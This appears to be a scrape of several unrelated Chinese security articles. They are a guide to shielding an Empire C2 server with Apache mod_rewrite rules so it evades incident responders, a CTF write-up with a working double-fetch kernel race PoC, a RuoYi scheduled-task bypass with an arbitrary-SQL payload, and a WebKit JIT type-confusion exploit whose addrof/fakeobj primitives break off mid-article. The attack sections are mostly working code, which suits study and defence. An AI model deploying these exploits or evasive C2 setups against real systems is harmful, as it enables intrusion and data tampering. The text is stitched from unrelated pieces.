服务有效载荷，避免IR和保护您的C2等等。丢失C2服务器的成本可能会非常高，因此应用重定向来保护C2服务器应该是您设计过程中的首要任务。Jeff
Dimmock已经写了一篇关于用Apache mod_rewrite重定向保护Cobalt Strike C2流量的详细文章，Julian
Catrambone写了一个很酷的脚本来自动化过程。
请允许我在这里喋喋不休地谈论重定向器并学习他们一些伟大的经验。
## 问题前引
“经典的”C2服务器设置如下所示：
问题在于你的C2服务器是完全暴露的，如果它被损坏，你将别无选择的放弃并重新开始建立新的基础设施。而解决方案正是使用C2重定向。
## 重定向
一般来说，流量重定向可以通过两种方式完成：
### Dumb Pipe Redirection:
所有通过您的重定向器的流量都会转发到您的C2服务器。
这种重定向有一些优点：您的C2服务器的真实位置没有显示。
不足之处在于蓝色团队很容易识别可疑活动，因为来自任何防御性解决方案或好奇事件响应者的所有不需要的流量都会被转发到您的C2，并且如果您的某些C2服务器端指标引发了任何问题，那么您可能很快就会使自己处于一个麻烦的境地。
### Conditional Redirection:
条件重定向允许您使用非常个性化的参数来配置重定向器，以便在将所有传入流量转发到其目标之前检查所有传入流量。这意味着你可以配置你的重定向器，只允许你想要通过你的C2服务器的流量，并将所有不需要的流量重定向到你选择的另一个目的地，例如可能会欺骗你的评估的任何流量。
### Apache mod_rewrite
Apache mod_rewrite是一个强大的apache web服务器模块，他允许我们使用条件重定向去保护我们的Empire C2服务器。Jeff
Dimmock已经写了一篇惊艳的博文去展示mod_rewrite是多么有用。
但是在我们开始设置我们的重定向之前，我们需要判断我们的重定向器需要什么样的条件去分辨有效的C2流量
## Empire通讯文件
Empire通讯文件允许操作者去配置他们的C2流量。举个例子，操作者可以配置他们的Empire
C2流量，使他们看起来像正常的web流量，就如搜索引擎流量，视频流，甚至是从已知恶意行为中复制的异常流量。Empire的通信配置文件相当于Cobalt
Strike的Malleable C2配置文件。
现在已经有大量的资料可以用来学习通信配置文件和可扩展的C2，所以我不会再详细解释它们。我只提及它们。因为我们的重定向器将使用通信配置文件，所以我们配置我们的Empire
C2服务器以确定什么是有效的C2流量，什么不是。
现在，我们可以开始设置我们的重定向了。
## 使用Apache mod_rewrite的Empire C2重定向器
### 先决条件
我们需要2台服务器; 一个重定向器（Apache webserver）和一个C2服务器（Empire）。我正在使用的设置如下所示：
### 安装Apache并启用mod_rewrite
安装了Apache之后，你需要在你的Apache配置文件中找到下面的代码块（应该位置于/etc/apache2/apache.conf）并将
AllowOverride None
改为
AllowOverride All
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
在你编辑了Apache配置文件之后，你将需要启用一些模块并重启你的Apache web服务器。
sudo a2enmod rewrite proxy proxy_http
sudo service apache2 restart
现在mod_rewrite已经奏效了
### 选择一个Empire通信配置文件
最简单去配置Empire通信配置文件的方法就是去你的Empire监听配置中改变`DefaultProfile`的属性。只需将您选择的通信配置文件粘贴到相应的字段并启动您的监听。我将使用配置`Zeus
Communication Profile`
set Host http:///192.168.56.101:80
set DefaultProfile /metro91/admin/1/ppptp.jpg,/metro91/admin/1/secure.php|Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)|Accept:*/*
注意:”主机”监听器属性应设置为重定向器的IP地址/域。
### 生成mod_rewrite规则
这篇文章将详细的告诉你如何生成mod_rewrite的规则
https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/
Empire通讯文件的过程是相同的，所以我不需要再解释它。我正在使用的Zeus配置文件的生成规则，如下所示
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(metro91/admin/1/ppptp.jpg|metro91/admin/1/secure.php)/?$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2)?$
RewriteRule ^.*$ http://192.168.56.102%{REQUEST_URI} [P]
RewriteRule ^.*$ http://example.com/? [L,R=302]
### 将规则写入.htaccess文件
一旦你有了你的规则，你可以将它们写入你的web服务器根目录下的`.htaccess文件`: 在我的vps上目录为`/var/www/html`。
这个站点允许你在将它们放入一个`.htaccess`文件之前检查你的`mod_rewrite`规则的语法错误 。
注：`.htaccess`文件应该配置为644权限。
### 重启web服务器
剩下的就是重启Apache并完成新的更改。
sudo service apache2 restart
### 测试
现在查看我们的重定向器是否正常工作。我用Powershell启动器影响了Windows 7（192.168.56.100）。
这是目标的流量：
如果我们的重定向器收到来自可疑事件响应者浏览其IP的任何无效C2流量，会发生什么情况？
它们被重定向到我们在mod_rewrite规则集中指定的网站（example.com）。
## Sleight-自动重定向器设置
如果你必须不止一次地做同样的事情，你应该自动化它，对吧？
我写了一个乱七八糟的Python脚本来自动完成上述过程，并为将来节省一点时间。一旦你配置了你的Empire
C2并获得了一个服务器/VPS作为重定向器使用，只需下载Sleight，使用管理权限运行它，为它提供一个通信配置文件，按照提示进行操作。
您应该立即启动并运行一个功能强大的Empire HTTP C2重定向器。使用Empire
HTTPS重定向在我的待办事项列表中。一旦我做到了，我一定会写博客。下面的图片显示了Sleight使用Comfoo配置文件设置新的重定向器。
注意：Sleight一个快速的配置脚本，用于初始化配置你的vps重定向器，如果你已经有了一个使用自定义mod_rewrite规则集的可操作的Apache服务器，那么使用Sleight只会将Empire通信配置文件转换成mod_rewrite规则，然后将它们添加到你的`.htaccess`文件中会更好。
## 结论
将重定向应用到您的C2流量只是加强您的基础架构的一个小而关键的步骤。我希望这篇文章很有帮助，但还有很多工作可以做，以防止您的基础架构被事件响应者标记，以及发现违反的任何防御措施的行为。我强烈建议配置你的Empire
C2服务器，防火墙只允许来自其分配的重定向器的HTTP流量。 查看Red Team Infrastructure Wiki和下面的资源以获取更多提示。
## 参考文献
<https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki>
<https://speakerdeck.com/bluscreenofjeff/building-a-better-moat-designing-an-effective-covert-red-team-attack-infrastructure>
<https://bluescreenofjeff.com/tags#mod_rewrite>
<https://blog.inspired-sec.com/archive/2017/04/17/Mod-Rewrite-Automatic-Setup.html>
<https://blog.cobaltstrike.com/2014/07/16/malleable-command-and-control/>
<https://bluescreenofjeff.com/2017-03-01-how-to-make-communication-profiles-for-empire/>
<http://threatexpress.com/2017/06/convert-cobalt-strike-profiles-apache-mod_rewrite-htaccess-files-support-http-c2-redirection/>
<http://threatexpress.com/2017/05/empire-modifying-server-c2-indicators/>
<https://www.legalbutfrownedupon.com/customizing-powershell-empire-to-avoid-detection/> | 社区文章 |
# 简介
Double
Fetch从漏洞原理上讲是属于条件竞争漏洞，是一种内核态与用户态之间的数据存在着访问竞争;而条件竞争漏洞我们都比较清楚,简单的来说就是多线程数据访问时，并且没有对数据做必要的安全同步措施;当多线程时，对于同一数据有一个线程在读而有另外一个线程在写，这就可能引起数据的访问异常，而此时如果这个异常访问情况发生在内核与用户线程之间时，就触发double
fetch漏洞了....
为了简化漏洞,这里我们利用[2018 0CTF Finals Baby Kernel](https://github.com/cc-sir/ctf-challenge/tree/master/2018%200CTF%20Finals%20Baby%20Kernel)来学习这个漏洞的利用方法,其中驱动的运行环境我都已经放在这个github里面了,有需要的可以下载学习....
# 一个典型的Double Fetch漏洞原理
一个用户态线程准备的数据通过系统调用进入内核，这个数据在内核中有两次被取用，内核第一次取用数据进行了安全检查（比如缓冲区大小、指针可用性等），当检查通过后内核第二次取用数据进行实际处理;而在两次取用数据的间隙，另一个用户态线程可以创造条件竞争，对那个已经将通过了检查的用户态数据进行篡改，使得数据在真实使用时造成访问越界或缓冲区溢出，最终导致内核崩溃或权限提升....
简单的原理示意图就是这个样子:
# 具体分析
现在我们直接来分析baby.ko这个驱动文件:
## ida静态分析
这个驱动文件主要注册一个baby_ioctl的函数:
这个函数中主要分为2个部分,一个部分打印flag在内核中的地址:
if ( (_DWORD)a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\n", flag);
result = 0LL;
}
而另一部分则是直接打印出flag的值:
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(current_task + 0x1358LL))
&& !_chk_range_not_ok(*(_QWORD *)v5, *(_DWORD *)(v5 + 8), *(_QWORD *)(current_task + 0x1358LL))
&& *(_DWORD *)(v5 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
result = 0LL;
}
并且我们发现flag是被硬编码在驱动文件中的:
(注意我们的目的为了不是直接得到这个flag的,而是通过Double Fetch漏洞从内核中获得她....)
但是如果想要驱动直接打印出flag的话,我们必须要绕过两处检查:
第一处是else if里面的条件:
else if ( (_DWORD)a2 == 0x1337
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(current_task + 0x1358LL))
&& !_chk_range_not_ok(*(_QWORD *)v5, *(_DWORD *)(v5 + 8), *(_QWORD *)(current_task + 0x1358LL))
&& *(_DWORD *)(v5 + 8) == strlen(flag) )
其中_chk_range_not_ok的内容是:
其实就是判断a1+a2是否小于a3....
而通过分析这个v5应该是一个结构体,通过`*(_QWORD *)v5`和`*(_DWORD *)(v5 + 8) ==
strlen(flag)`我们很容易推出v5这个结构体包含的是flag的地址及其长度,如下:
struct v5{
char *flag;
size_t len;
};
而我们通过gdb调试发现`*(_QWORD *)(current_task + 0x1358LL)`的值为0x7ffffffff000:
所以我们推测和调试我们发现上面这个判断是判断v5以及v5->flag是否为用户态，如果不是用户态就直接返回:
所以综上所述,检查为:
1. 输入的数据指针是否为用户态数据。
2. 数据指针内flag是否指向用户态。
3. 据指针内len是否等于硬编码flag的长度。
第二处是for循环里面的条件:
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
return 22LL;
}
对用户输入的内容与硬编码的flag进行逐字节比较，如果一致了,就通过printk把flag打印出来了;
## 漏洞分析
这个驱动晃眼一看好像没有什么漏洞,但是其实上面两个检查是分开的:
这就表明我们可以在判断flag地址范围和flag内容之间进行竞争，通过第一处的检查之后就把flag的地址偷换成内核中真正flag的地址;然后自身与自身做比较，通过检查得到flag....
## 思路
所以整体思路就是先利用驱动提供的cmd=0x6666功能,获取内核中flag的加载地址(这个地址可以通过dmesg命令查看);
然后,我们构造一个符合cmd=0x1337功能的数据结构,其中len可以从硬编码中直接数出来为33,user_flag地址指向一个用户空间地址;
最后,创建一个恶意线程,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出flag内容....
## POC
poc.c:
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <pthread.h>
unsigned long long flag_addr;
int Time = 1000;
int finish = 1;
struct v5{
char *flag;
size_t len;
};
//change the user_flag_addr to the kernel_flag_addr
void change_flag_addr(void *a){
struct v5 *s = a;
while(finish == 1){
s->flag = flag_addr;
}
}
int main()
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
pthread_t t1;
char buf[201]={0};
char m[] = "flag{AAAA_BBBB_CC_DDDD_EEEE_FFFF}"; //user_flag
char *addr;
int file_addr,fd,ret,id,i;
struct v5 t;
t.flag = m;
t.len = 33;
fd = open("/dev/baby",0);
ret = ioctl(fd,0x6666);
system("dmesg | grep flag > /tmp/sir.txt"); //get kernel_flag_addr
file_addr = open("/tmp/sir.txt",O_RDONLY);
id = read(file_addr,buf,200);
close(file_addr);
addr = strstr(buf,"Your flag is at ");
if(addr)
{
addr +=16;
flag_addr = strtoull(addr,addr+16,16);
printf("[*]The flag_addr is at: %p\n",flag_addr);
}
else
{
printf("[*]Didn't find the flag_addr!\n");
return 0;
}
pthread_create(&t1,NULL,change_flag_addr,&t); //Malicious thread
for(i=0;i<Time;i++){
ret = ioctl(fd,0x1337,&t);
t.flag = m; //In order to pass the first inspection
}
finish = 0;
pthread_join(t1,NULL);
close(fd);
printf("[*]The result:\n");
system("dmesg | grep flag");
return 0;
}
编译:
gcc poc.c -o poc -static -w -pthread
运行结果:
## 后记
关于驱动在内核态的调试方法应该是安装驱动，对相应函数下断,运行poc,然后才可以断下来调试,和我们在用户态直接调试程序其实就是多了一个运行poc,其他方法都差不多的....
最后注意配置QEMU启动参数时,不要开启SMAP保护，否则在内核中直接访问用户态数据会引起kernel panic....
还有,配置QEMU启动参数时，需要配置为非单核单线程启动，不然无法触发poc中的竞争条件,具体操作是在启动参数中增加其内核数选项，如:
-smp 2,cores=2,threads=1 \
不过,我上传的那个环境应该都是配置好了,应该是可以直接运行start.sh的.... | 社区文章 |
# 环境
若依后台管理系统存在多种架构体系。如下
这里使用RuoYi-fast v4.7.3(前后端不分离)来分析定时任务功能点处如何绕过黑白名单，执行任意的sql语句
# Quartz组件
RuoYi-fast使用Quartz作为定时任务组件，但由于本文是重点分析定时任务处产生漏洞原因，因此仅简单写个Quartz使用demo，更多的使用可百度获取。
创建springboot项目，导入如下依赖：
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-quartz</artifactId>
</dependency>
</dependencies>
编写`job`，需要继承`org.quartz.Job`，如下继承`org.quartz.Job`抽象子类`QuartzJobBean`
package com.example.quartz.job;
import org.quartz.JobExecutionContext;
import org.quartz.JobExecutionException;
import org.springframework.scheduling.quartz.QuartzJobBean;
import java.text.SimpleDateFormat;
import java.util.Date;
public class DateTimeJob extends QuartzJobBean {
@Override
protected void executeInternal(JobExecutionContext context) throws JobExecutionException {
String msg = (String) context.getJobDetail().getJobDataMap().get("msg");
System.out.println("current time :"+new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()) + "---" + msg);
}
}
配置`job`和`trigger`
package com.example.quartz.config;
import com.example.quartz.job.DateTimeJob;
import org.quartz.*;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class QuartzConfig {
// 配置 job
@Bean
public JobDetail printTimeJobDetail(){
return JobBuilder.newJob(DateTimeJob.class)//PrintTimeJob我们的业务类
.withIdentity("DateTimeJob")//可以给该JobDetail起一个id
//每个JobDetail内都有一个Map，包含了关联到这个Job的数据，在Job类中可以通过context获取
.usingJobData("msg", "Hello Quartz")//关联键值对，当触发定时任务时，可从上下文中获取此键值对
.storeDurably()//即使没有Trigger关联时，也不需要删除该JobDetail
.build();
}
// 配置 trigger：触发规则
@Bean
public Trigger printTimeJobTrigger() {
CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule("0/1 * * * * ?");
return TriggerBuilder.newTrigger()
.forJob(printTimeJobDetail())//关联上述的JobDetail
.withIdentity("quartzTaskService")//给Trigger起个名字
.withSchedule(cronScheduleBuilder)
.build();
}
}
启动项目，定时任务成功执行
# 漏洞分析
## 定时任务执行逻辑
定时任务代码在`com.ruoyi.project.monitor.job`包下：
`Job`接口是真正干活的，所要实现的业务处理，都会继承此接口重写`excute`方法
RuoYi-fast中定义的`Job`体系如下:
查看`AbstractQuartzJob`抽象类，新增了`before`、`doExecute`、`after`方法，重写了父类的`excute`方法(此方法采用了模版方法设计模式)，其中`before`方法记录任务执行开始时间，`doExecute`是真正执行任务的方法(此方法交给具体的子类实现)，`after`方法用于将任务执行日志写入数据库中，`excute`方法将`before、doExecute、after`三个方法组合。
excute方法如下：
子类`QuartzDisallowConcurrentExecution`与`QuartzJobExecution`实现了`doExecute`方法，这两个类只存在再并发支持上的区别，因此这里分析`QuartzJobExecution`即可。
继续跟进invokeMethod(Job)方法
跟进invokeMethod方法，利用反射执行方法
一些细节处：
获取`BeanName`
获取`MethodName`
获取`MethodParams`：从目标字符串中提取第一个(和第一个)中间的字符串。并将其以,进行分割成字符串数据
遍历分割生成的字符串数组
可以看到参数类型仅仅支持以下数据类型：`String`，`Boolean`，`Long`，`Double`，`Integer`类型。
判断`beanName`是否是指定格式，当`beanName`是中不包括.或者仅仅包括一个.符号便符合指定格式
接着便走到如下分支
从上可分析出如下结果：
1. 对象可以是spring容器中注册过的bean，也可以指定class名称
2. 若是spring容器中注册过的bean，则可直接从spring容器中取出，若是指定class名称，则可以通过反射newInstance()创建对象，因此必须保证class中存在无参构造函数
3. 方法不能是private修饰的方法，因为在getDeclaredMethod获取方法后，并没有执行setAccessible(true)
4. 方法参数类型仅仅可以为如下类型：String，Boolean，Long，Double，Integer
## 定时任务添加/修改逻辑
由于定时任务的新增和修改逻辑相似，因此这里仅仅分析定时任务的添加。
查看：`com.ruoyi.project.monitor.job.controller.JobController#addSave`
可以看到在添加定时任务前，进行了黑白名单的判断。当通过了上述条件后，则执行`com.ruoyi.project.monitor.job.service.JobServiceImpl#insertJob`，代码如下，先将定时任务相关字段存入数据库中，然后使用`Quartz`创建定时任务
跟进`com.ruoyi.project.monitor.job.util.ScheduleUtils#createScheduleJob`，创建定时任务
成功创建定时任务后，便可等待任务触发或者立即执行，便会走到上一节<<定时任务执行逻辑>>中代码
然后再回来看看黑白名单：
黑名单：
白名单：
虽然有个白名单，不但一个有趣的现象是，RuoYi官方在对黑白名单进行判断的时候，存在遗漏，导致漏洞利用。
代码如下：
红框中的代码很眼熟，就是如下代码
可以发现代码仅仅对全限定类名(class)进行了检测。但是没有对`spring`容器中的对象进行白名单检测。
只需要在spring容器中找到一个可以利用的对象，即可以绕过黑名单检测，又可以逃过白名单的检测。
## 寻找spring容器中可利用对象
在`<<定时任务执行逻辑>>`小结已经分析出，定时任务若是调用`spring`容器中的对象，则需要满足如下条件：
1. 对象存在于`spring`容器中
2. 方法至少不能是`private`修饰的方法
3. 参数类型只能为`String`，`Boolean`，`Long`，`Double`，`Integer`类型
利用上述条件刷选方法，看是否存在可以利用的方法。可以编写脚本进行筛选，也可以借助`spring
actuator`手动筛选，`actuator`组件会列举`spring`容器中所有的对象。但由于`RuoYi-fast`没有使用`actuator`组件，这里简单添加一下依赖和配置即可
访问`Beans`接口，获取所有的`spring beans`对象。可以手工一个一个去`IDEA`中去搜索类，查找符合的方法。
在`JdbcTemplate`类中，发现`execute`和`update`方法(`public`方法)，参数为`String`，符合前面分析的所需要的条件。
`execute`方法可以执行任意`sql`语句。不过在截取方法参数值时，是从目标字符串中提取第一个(和第一个)中间的字符串，若目标字符串为：`jdbcTemplate.execute("insert
into sys_user_role values(7,7);")`，则方法参数值为`"insert into sys_user_role
values(7,7`，具体可在`<<定时任务执行逻辑>>`一节中找到代码论证。下一节分析如何绕过这个截取方式
## 使用预处理和hex编码绕过对方法参数的截取
方法参数值是通过从目标字符串第一个`(`和第一个`)`中间的字符串获取的，那么只要保证参数值内容中不出现`)`即可。
可以使用`mysql`预处理和`hex`编码使参数值内容中不出现)。可以参考2019年的强网杯【随便注】一题。
比如，以执行`insert into sys_user_role values(7,7);`为例。
首先将`insert`语句进行`hex`编码：
设置变量，值为hex编码：
定义预处理语句：
执行预处理语句：
数据成功插入：
依次将上述`sql`语句填入`jdbcTemplate.execute`方法中，如下`payload`中没有`)`符号。并且每次修改定时任务时，立即执行任务。
在后台修改任务：目标字符串依次如上
选中立即执行
观察数据库，成功执行insert语句
# 漏洞修复 | 社区文章 |
# JavaScript engine exploit（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
这是2018年底的一个关于正则的bug，编号是191731。
关于这个Bug的描述和Diff：[About The
Bug](https://bugs.webkit.org/show_bug.cgi?id=191731)、[Diff](https://github.com/WebKit/webkit/commit/7cf9d2911af9f255e0301ea16604c9fa4af340e2?diff=split#diff-fb5fbac6e9d7542468cfeed930e241c0L66)
切换到漏洞分支编译：
git checkout 3af5ce129e6636350a887d01237a65c2fce77823
## 0x01 POC
var victim_array = [1.1];
var reg = /abc/y;
var val = 5.2900040263529e-310
var funcToJIT = function() {
'abc'.match(reg);
victim_array[0] = val;
}
for (var i = 0; i < 10000; ++i){
funcToJIT()
}
regexLastIndex = {};
regexLastIndex.toString = function() {
victim_array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
funcToJIT()
print(victim_array[0])
直接用jsc运行的话会崩溃：
$ ./WebKit.git/WebKitBuild/Debug/bin/jsc ./bug_191731/test/poc.js
[1] 37939 segmentation fault ./WebKit.git/WebKitBuild/Debug/bin/jsc ./bug_191731/test/poc.js
可以用lldb加载jsc运行再看看：
$ lldb ./WebKitBuild/Debug/bin/jsc
(lldb) target create "./WebKitBuild/Debug/bin/jsc"
Current executable set to './WebKitBuild/Debug/bin/jsc' (x86_64).
(lldb) run -i ../bug_191731/test/poc.js
Process 37993 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x616161616166)
frame #0: 0x000000010000b90c jsc`JSC::JSCell::isString(this=0x0000616161616161) const at JSCellInlines.h:203:12
200
201 inline bool JSCell::isString() const
202 {
-> 203 return m_type == StringType;
204 }
205
206 inline bool JSCell::isBigInt() const
Target 0: (jsc) stopped.
这里引用了一个`this`，`this=0x0000616161616161`，这个数据的来源是POC中的val。
这里很明显传入了一个double，但是取出来的却是一个对象，然后引用这个对象的时候造成了崩溃。这里简单叙述一下POC的过程：
1. 初始化一个Double数组。
2. 初始化一个正则表达式对象，而且一定要加上`/y`标识。
3. 随意初始化一个double变量。
4. 创建一个函数，函数体内执行正则匹配，并对`victim_array[0]`传入double值。
5. 让第四步创建的函数循环一万次，以触发JIT对它进行优化编译。
6. 创建一个对象，重写该对象的`toString`方法，该方法给`victim_array[0]`赋值一个对象。
7. 将`reg`的`lastIndex`属性赋值为刚创建的对象。
8. 调用`funcToJIT`触发`toString`将`victim_array`转化为`JSValue`数组，然后放入val的值。
9. 打印`victim_array[0]`触发对伪造对象的引用，引起崩溃。
上面提到了一定要加上`/y`标识，这是因为每个正则对象都有一个`lastIndex`属性，每次进行匹配的时候都会读取这个属性作为匹配字符串的开头，如果`lastIndex`为0就是从字符串开头进行匹配，如果`lastIndex`为1就是从第二个字符开始进行匹配。加上`/y`之后，正则对象每次都会读取这个值作为开头，而且不管匹配是否成功，都会将`lastIndex`设置为上一次匹配结束的位置。
但是`/g`也会读取`lastIndex`，为什么不用`/g`？因为`/g`修饰过的正则每次匹配必须从字符串开头进行，我猜测可能是每次匹配开始时都会将`lastIndex`设置为0，这就导致我们没法利用这个属性，因为每次重写都会被覆盖为0。
这个POC的关键点在于，最后传入val的时候，JSC为什么不认为`val`是double类型，而认为它是一个对象？
在最后执行`funcToJIT()`之前：
>>> describe(victim_array)
Object: 0x108ab4340 with butterfly 0x8000fe6a8 (Structure 0x108af2a70:[Array, {}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 98
执行完成后：
>>> describe(victim_array)
Object: 0x108ab4340 with butterfly 0x8000fe6a8 (Structure 0x108af2ae0:[Array, {}, ArrayWithContiguous, Proto:0x108ac80a0]), StructureID: 99
问题就出在`funcToJIT`中，我们可以认为这个函数执行了两个步骤，一个是执行`toString`，另一个就是`victim_array[0] =
val`。`toString`中执行`victim_array[0] =
{}`，这一步JSC就将数组变成了`ArrayWithContigous`，说明JSC是知道传入了一个对象的。而执行`victim_array[0] =
val`的时候，JSC就没认为它是一个double。这是因为`funcToJIT()`被JIT优化了，导致JSC没有对val的类型进行检查，也就没有对我们传入的值进行编码，我设置的`val=0x616161616161`，编码之后应该是`0x1616161616161`，这里没有编码，传进去之后就是原来的值，然而此时数组已经是`ArrayWithContigous`，根据JSC的`NaN-boxing`规则，`0x616161616161`就是一个指针。
double传入`ArrayWithDouble`-正常：
(lldb) x/10gx 0x10000fe6c8
0x10000fe6c8: 0x0000616161616161 0x00000000badbeef0
0x10000fe6d8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6e8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6f8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe708: 0x00000000badbeef0 0x00000000badbeef0
double传入`ArrayWithContigous`-正常：
(lldb) x/10gx 0x10000fe6a8
0x10000fe6a8: 0x0001616161616161 0x00000000badbeef0
0x10000fe6b8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6c8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6d8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6e8: 0x00000000badbeef0 0x00000000badbeef0
double传入`ArrayWithContigous`-POC：
(lldb) x/10gx 0x10000fe6a8
0x10000fe6a8: 0x0000616161616161 0x00000000badbeef0
0x10000fe6b8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6c8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6d8: 0x00000000badbeef0 0x00000000badbeef0
0x10000fe6e8: 0x00000000badbeef0 0x00000000badbeef0
关于JIT的优化流程和内部细节可以看官方文档的描述：[Introducing the webkit ftl-jit](https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/)
文档中有描述一个函数被调用多少次会触发DFG，
> The first execution of any function always starts in the interpreter tier.
> As soon as any statement in the function executes more than 100 times, or
> the function is called more than 6 times (whichever comes first), execution
> is diverted into code compiled by the _Baseline_ JIT. This eliminates some
> of the interpreter’s overhead but lacks any serious compiler optimizations.
> Once any statement executes more than 1000 times in _Baseline_ code, or the
> _Baseline_ function is invoked more than 66 times, we divert execution
> again, to the DFG JIT.
但是我实际测试过程中我把`funcToJIT()`的调用次数调到3670，就只是有几率触发DFG，所以还是把调用次数调大一点比较稳，但也不能太大，调用次数过多就会进入FTL。
## 0x02 Exploit
POC中通过传入设定好的double值成功伪造了一个指针，其实用相反的手法我们是可以做到泄漏对象地址的。我们可以先在数组中放入对象指针，然后以double的形式将指针打印出来，构造出来的`addrof()`原语如下：
function addrof(obj){
var victim_array = [1.1];
var reg = /abc/y;
var funcToJIT = function(array){
'abc'.match(reg);
return array[0];
}
for(var i=0; i< 10000; i++){
funcToJIT(victim_array);
}
regexLastIndex = {};
regexLastIndex.toString = function(){
victim_array[0] = obj;
return "0";
};
reg.lastIndex = regexLastIndex;
return funcToJIT(victim_array)
}
可以观察到，我这里在`funcToJIT()`加了一个参数，因为我发现不加这个参数直接操作`victim_array`的话似乎出现了两个`victim_array`，最后返回给我的是没有修改值的那个，加上参数就可解决这个问题，原因尚不清楚。
使用这个函数并传入一个对象，就会返回这个对象的地址：
(lldb) run -i ../bug_191731/test/poc.js
There is a running process, kill it and restart?: [Y/n] y
Process 39404 launched: '/Users/7o8v/Documents/SecResearch/Browser/WebKit/WebKit.git/WebKitBuild/Debug/bin/jsc' (x86_64)
2.1938450464e-314
>>>
但是返回的是double的形式，我没找到JavaScript有啥格式化比较方便的方法，最后看niklasb大佬的exp发现可以用`ArrayBuffer`解决，代码如下：
var buffer = new ArrayBuffer(8);
var u8 = new Uint8Array(buffer);
var u32 = new Uint32Array(buffer);
var f64 = new Float64Array(buffer);
var BASE = 0x100000000;
function i2f(i) {
u32[0] = i%BASE;
u32[1] = i/BASE;
return f64[0];
}
function f2i(f) {
f64[0] = f;
return u32[0] + BASE*u32[1];
}
function hex(x) {
if (x < 0)
return `-${hex(-x)}`;
return `0x${x.toString(16)}`;
}
通过申请一个8字节的buffer，并且用不同形式表示它可以很好解决格式化的问题。
>>> test = {}
[object Object]
>>> hex(f2i(addrof(test)))
0x1082b00c0
>>> describe(test)
Object: 0x1082b00c0 with butterfly 0x0 (Structure 0x1082f20d0:[Object, {}, NonArray, Proto:0x1082b4000]), StructureID: 76
>>>
可以看到确实泄漏出了对象的地址。
根据poc再构造一个`fakeobj()`：
function fakeobj(addr){
var victim_array = [1.1];
var reg = /abc/y;
var funcToJIT = function(array){
'abc'.match(reg);
array[0] = addr;
}
for(var i=0; i < 10000; i++){
funcToJIT(victim_array);
}
regexLastIndex = {};
regexLastIndex.toString = function(){
victim_array[0] = {};
return "0";
}
reg.lastIndex = regexLastIndex;
funcToJIT(victim_array);
return victim_array[0];
}
>>> test = {};
[object Object]
>>> test_addr = f2i(addrof(test));
4440391936
>>> hex(test_addr)
0x108ab0100
>>> aaaa = fakeobj(i2f(test_addr))
[object Object]
>>> describe(aaaa)
Object: 0x108ab0100 with butterfly 0x0 (Structure 0x108af20d0:[Object, {}, NonArray, Proto:0x108ab4000]), StructureID: 76
>>> describe(test)
Object: 0x108ab0100 with butterfly 0x0 (Structure 0x108af20d0:[Object, {}, NonArray, Proto:0x108ab4000]), StructureID: 76
>>>
现在可以泄漏，可以伪造，那么就要想办法扩大我们的控制范围，尽量达到任意读写的目的。
现在`fakeobj()`传入任何地址JSC都会把它当作是一个对象的指针，那么我们就可以先泄漏出一个对象的地址，再在这个对象地址的基础上加上一个偏移，使得伪造对象地址处的数据变得可控，前面提到过对象的属性会存储在butterfly中，但是当该对象不是一个数组而且属性不超过6个的时候，就不会有butterfly，而是将这些属性的值存放在对象内部连续的内存中：
>>> test = {}
[object Object]
>>> test.a = 5.2900040263529e-310
5.2900040263529e-310
>>> test.b = 2
2
>>> test.c = 3
3
>>> test.d = 4
4
>>> test.e = 5
5
>>> test.f = 6
6
>>> describe(test)
Object: 0x108ab0280 with butterfly 0x0 (Structure 0x108a71260:[Object, {a:0, b:1, c:2, d:3, e:4, f:5}, NonArray, Proto:0x108ab4000, Leaf]), StructureID: 329
>>>
可以看到`test`对象并没有butterfly，再来看看`test`内部：
(lldb) x/10gx 0x108ab0280
0x108ab0280: 0x0100160000000149 0x0000000000000000
0x108ab0290: 0x0001616161616161 0xffff000000000002
0x108ab02a0: 0xffff000000000003 0xffff000000000004
0x108ab02b0: 0xffff000000000005 0xffff000000000006
